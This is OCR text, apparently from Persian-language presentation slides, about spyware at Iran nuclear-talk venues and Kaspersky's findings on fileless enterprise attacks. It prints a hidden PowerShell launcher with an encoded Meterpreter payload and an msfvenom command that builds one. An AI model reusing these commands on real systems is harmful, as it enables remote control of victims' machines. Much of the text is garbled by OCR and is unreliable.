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Data-collecting spyware
reportedly found at Iran
nuclear talk venues
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»  Spy Virus Linked to Israel Targeted Hotels Used for Iran Nuclear
= Talks

v Cybersecurity firm Kaspersky Lab finds three hotels that hosted Iran talks were targeted by a virus believed used by Israeli
spies
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China’s Remote
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The hidden-malware enterprise attacks:

L] L]
victim geography
Over 140 enterprises in 40 countries affected
¢ Ecuador ¢ USA ¢ Brazil OSpﬂm pUK ¢France ¢ Tunisia OEgyp( # Russia

T % i

@) Government organizations

_———e Turkey
e Israel

= Uganda
* Kenya
) Telecommunication companies

;
4/
found in the following: o |

Bolivia Germany Moldova Tanzania

Bulgaria  India Mongolia Ukraine

Cambodia  Indomesla  Morocco Vatican City State

China Kazakhstan  Paraguay Vietnam
Congo Ubya Peru

GREAT  KAJPERJKYZ

oib 418, )1,8 Bao (glonygiS 1 JSib

2 abdl> ;> Meterpreter jljl jl (635 ashs (gly2l dzgio SGb S Capiol @i aS a5 A HIET (iloj Kaspersky iy (w)y
Sz (69 p3 45 9 — Al (69) 3 |y 395 gy SO dy (A Cawwgay b ylial ¢yl 394350 39> Domain Controller glo,g,mw jl
S0 Iyl -

1355 )il ) Hlgo @ lgie Meterpreter loSis

S0 bl 0aui Juatio dwgyy S @ a5 (> 5 aiSls (69 o |y 393 9 03,55 Sl Swd (g9 o LB )
390 J3493) 03 o)y 500 (5035L0)8 y9pm 9 63 2l (T (59 2 &S OIS G T GbLS)I ¥

RAM akdl> (gg) ;ln.a.nam.o I, Meterpreter 35 PowerShell ;1 ;56,0 U ¢ylazlgo (33l 45 3,5 (asuive yisin )y
(V JSi) . xles,S 4ol

SMCOMSPECY /b fc start /b J/min powershell.exe -nop W hidden -
aO.BmACgAWwBJAGAAdA BOA HQACgBdADOAOgBTAG kAegB |ACAALQBIAHEAIAADACkAEWAKAGIAPQANAHAADWB3AG UAcCgBzAGEAZOBSAG
WALZBIAHEAZ OANAHDAZ OBsAHMAZOBTACOAYEASACOAZOBUAHYAOEB3AGKADbEBRAGKACEATACCAXABZAHKACWBIAGBADWAZADOQAXABX
AGkAbgBKAGEAdWEZAFAADWEIAGUACEBTAGEAZOBsAGWAXAB2ZADEALgAWAFWACABVAHCAZOBYAHMAABIAGWADAAUAGUAABIACCATO
ATACQACWASAE4AZQB3IACOATWBIAGOAZOBJAHQAIABTAHKACWBOAGUADQAUAEQABCBhAGCAbgBVAHMADABPAGMACWAUAFAACEBYAG
MAZQBzAHMAUWBOAGEACZBOAEKABZBMAGSAOWAKAHMALEBGAGKABABIAEAAY OBtAGUAPQAKAGIADWAKAHMALEBBAHIAZWB1AGDAZOQ
BuAHQACWASACCALOBUAG SACAAgACDAdWAgAGgAaQB kAG QAZQBUACAALCOBJACAAIABZA DDATgBmHCALQBPAG IA.agBMG MAdA.AgA EkATwW
AUAEDAZOBtAGBACEBSAFMAABYAGUAYOBtACEALABLAEMADWBUAHYAZOBYAHOAX QABADOARZBYAGEADOBCAGEACWBIADYANABTAHO
AcgBpAGAATZWADACCAIWBIADOQACWEBIAEEARABGADZAAAXAGMAQWBBADCAVEEXAGUANAAVAGEATWBCAEQALWBIADUAWAAZAEGAY(OR]
AFOQARQBrAEcAaQBrAEEARABIAGWAAWBXAFYATABNAEYAQWAYAEAAMWEIAEMAbEBGADOASABEAHEAWEBAAEMARCOBAFQACWBIAG....

PowerShell ¢ylo)é ;1 eslaiwl L Meterpreter a5 (gha! 1V JS&
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msfvenom -p windows/meterpreter/bind_hidden_tcp AHOST=10.10.1.11 -f psh-cmd
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Signature-based Detection *

Buffer Overflow "

Reputation-based Detection "

Real-time Static Analysis and Emulation "
Zero-day "

Full Static-code Analysis *

Dynamic sandbox analysis "
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